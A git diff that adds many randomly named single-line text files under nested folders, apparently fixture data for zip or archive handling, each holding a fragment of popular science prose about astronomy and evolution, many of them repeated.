diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_imwsaaajsyfjxi.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_imwsaaajsyfjxi.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_imwsaaajsyfjxi.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_nenlusttzhdvqryozjjvm.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_nenlusttzhdvqryozjjvm.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_nenlusttzhdvqryozjjvm.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pralvxxrgycxcscjjsfzwew.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pralvxxrgycxcscjjsfzwew.txt
new file mode 100644
index 0000000..8df1dd4
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+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pralvxxrgycxcscjjsfzwew.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pxqjbqvjjupzqcescxzved.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pxqjbqvjjupzqcescxzved.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_pxqjbqvjjupzqcescxzved.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_qndluuka.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_qndluuka.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_qndluuka.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_tlsyknpuisvpzymmduaebpta.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_tlsyknpuisvpzymmduaebpta.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_tlsyknpuisvpzymmduaebpta.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_vbzjxusorzekpykxns.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_vbzjxusorzekpykxns.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_vbzjxusorzekpykxns.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_wokibffqchfpjacetgyy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_wokibffqchfpjacetgyy.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_wokibffqchfpjacetgyy.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xjnvypwifo.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xjnvypwifo.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xjnvypwifo.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xsxctmmsrh.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xsxctmmsrh.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xsxctmmsrh.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xzbnqfbliungidbwjjyqsc.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xzbnqfbliungidbwjjyqsc.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_xzbnqfbliungidbwjjyqsc.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_yblejyojxora.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_yblejyojxora.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_yblejyojxora.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkfpphlnqxze.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkfpphlnqxze.txt
new file mode 100644
index 0000000..25a597b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkfpphlnqxze.txt
@@ -0,0 +1 @@
+CO 2 out of the surface rocks, generating a stronger greenhouse effect, which would in turn
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkvkttbw.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkvkttbw.txt
new file mode 100644
index 0000000..0af6a28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/hkvkttbw.txt
@@ -0,0 +1 @@
+a small satellite galaxy of the Milky Way, 180,000 light-years distant. There is also, as you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jhlmfzwenrlkjdrvsshpfg.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jhlmfzwenrlkjdrvsshpfg.txt
new file mode 100644
index 0000000..6c9462b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jhlmfzwenrlkjdrvsshpfg.txt
@@ -0,0 +1 @@
+confidently expected in the next few decades. Orion and Daedalus might travel at 10
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jzvprmaccsaspvgr.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jzvprmaccsaspvgr.txt
new file mode 100644
index 0000000..d71103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/jzvprmaccsaspvgr.txt
@@ -0,0 +1 @@
+mammals - creatures with the size and intelligence of moles or tree shrews. It would have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kssqizxsqeveacjmvnbabyr.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kssqizxsqeveacjmvnbabyr.txt
new file mode 100644
index 0000000..767ebe0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kssqizxsqeveacjmvnbabyr.txt
@@ -0,0 +1 @@
+practical motives in mind. They were merely tinkering in a technological society.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kyrkuuud.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kyrkuuud.txt
new file mode 100644
index 0000000..f64e6d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/kyrkuuud.txt
@@ -0,0 +1 @@
+parochially say, terraform - a world to make it adequately clement. The reengineering of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcmaxjaviknjgehi.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcmaxjaviknjgehi.txt
new file mode 100644
index 0000000..f1a6bcf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcmaxjaviknjgehi.txt
@@ -0,0 +1 @@
+immortal gods or Pythagorean mysticism, or because he believed in an infinite number of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcufbambcvmemohcv.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcufbambcvmemohcv.txt
new file mode 100644
index 0000000..d050e5f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/lcufbambcvmemohcv.txt
@@ -0,0 +1 @@
+fusion of a massive iron core. Under enormous pressure, the free electrons in the stellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qpwqdafdjthkjzkxy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qpwqdafdjthkjzkxy.txt
new file mode 100644
index 0000000..7e26901
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qpwqdafdjthkjzkxy.txt
@@ -0,0 +1 @@
+of limited size. The neurochemistry of the brain is astonishingly busy, the circuitry of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qqzkucwchv.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qqzkucwchv.txt
new file mode 100644
index 0000000..7a1e153
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/qqzkucwchv.txt
@@ -0,0 +1 @@
+watch a bacterial culture in a dish of agar, to determine whether, this year again, we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rcidgyuhjowwivynfxjas.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rcidgyuhjowwivynfxjas.txt
new file mode 100644
index 0000000..a35725d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rcidgyuhjowwivynfxjas.txt
@@ -0,0 +1 @@
+after Comte’s death, it was discovered that a spectrum can be used to determine the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rqvzjujqzfwtlubppfaj.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rqvzjujqzfwtlubppfaj.txt
new file mode 100644
index 0000000..fdcfb82
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/rqvzjujqzfwtlubppfaj.txt
@@ -0,0 +1 @@
+lethal, coding into existence nonfunctional enzymes. It is a long wait before a mutation
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/wcklnfzevpzujfxmkmfmwis.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/wcklnfzevpzujfxmkmfmwis.txt
new file mode 100644
index 0000000..892ac73
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/wcklnfzevpzujfxmkmfmwis.txt
@@ -0,0 +1 @@
+Milky Way Galaxy alone, could ours be the only one accompanied by an inhabited planet?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_eefrvbxjqgymbsgydlznulle.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_eefrvbxjqgymbsgydlznulle.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_eefrvbxjqgymbsgydlznulle.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_hqaugnuhjucqmpw.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_hqaugnuhjucqmpw.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_hqaugnuhjucqmpw.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_jrdoycnsbpxtaqvsjdnbd.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_jrdoycnsbpxtaqvsjdnbd.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_jrdoycnsbpxtaqvsjdnbd.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_kbbmwdgrqe.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_kbbmwdgrqe.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_kbbmwdgrqe.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_klsunxfhz.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_klsunxfhz.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_klsunxfhz.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_lxzbqvqsvnvqdkfkrrdvwx.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_lxzbqvqsvnvqdkfkrrdvwx.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_lxzbqvqsvnvqdkfkrrdvwx.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_menmcbtfsmany.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_menmcbtfsmany.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_menmcbtfsmany.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_mvkgzdyiinewwhgj.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_mvkgzdyiinewwhgj.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_mvkgzdyiinewwhgj.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_njmptxzqknfwvcfri.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_njmptxzqknfwvcfri.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_njmptxzqknfwvcfri.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_tlxxfzgimjv.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_tlxxfzgimjv.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_tlxxfzgimjv.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_trndngfcqwxcfwhgp.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_trndngfcqwxcfwhgp.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_trndngfcqwxcfwhgp.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwnryhosrrmvfgdyvvn.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwnryhosrrmvfgdyvvn.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwnryhosrrmvfgdyvvn.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwvlkduq.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwvlkduq.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_xtwvlkduq.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/file_yoxmxirskyerv.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_yoxmxirskyerv.txt
new file mode 100644
index 0000000..e786888
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/file_yoxmxirskyerv.txt
@@ -0,0 +1 @@
+Chapter 3. But I believe an appreciation of the Greeks can best be provided after we see
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_byiuusokesk.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_byiuusokesk.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_byiuusokesk.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_dyneugqyvhhjevzcycnj.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_dyneugqyvhhjevzcycnj.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_dyneugqyvhhjevzcycnj.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_felkxuuwbpwlvovhsrivqzxm.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_felkxuuwbpwlvovhsrivqzxm.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_felkxuuwbpwlvovhsrivqzxm.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_gcbyswyqnakiljukj.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_gcbyswyqnakiljukj.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_gcbyswyqnakiljukj.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_hpcjohxvsptnpw.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_hpcjohxvsptnpw.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_hpcjohxvsptnpw.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ickwykcztvq.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ickwykcztvq.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_ickwykcztvq.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_kdzwvtblayjw.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_kdzwvtblayjw.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_kdzwvtblayjw.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_nbloyztiwmtgzkbtp.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_nbloyztiwmtgzkbtp.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_nbloyztiwmtgzkbtp.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_qlovdikffvzvuldyrwvdknz.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_qlovdikffvzvuldyrwvdknz.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_qlovdikffvzvuldyrwvdknz.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_savrattawsmnvth.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_savrattawsmnvth.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_savrattawsmnvth.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tbovigauyulxezaujpiobwyl.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tbovigauyulxezaujpiobwyl.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tbovigauyulxezaujpiobwyl.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tzcoiixpvxbiiwabz.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tzcoiixpvxbiiwabz.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_tzcoiixpvxbiiwabz.txt
@@ -0,0 +1 @@
+Other methods of detecting planets around the stars are under development,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_vffgcdzydwxhvglfx.txt b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_vffgcdzydwxhvglfx.txt
new file mode 100644
index 0000000..d2d9164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ejsmvhdnkh/folder_ythjxtywfs/file_vffgcdzydwxhvglfx.txt
@@ -0,0 +1 @@
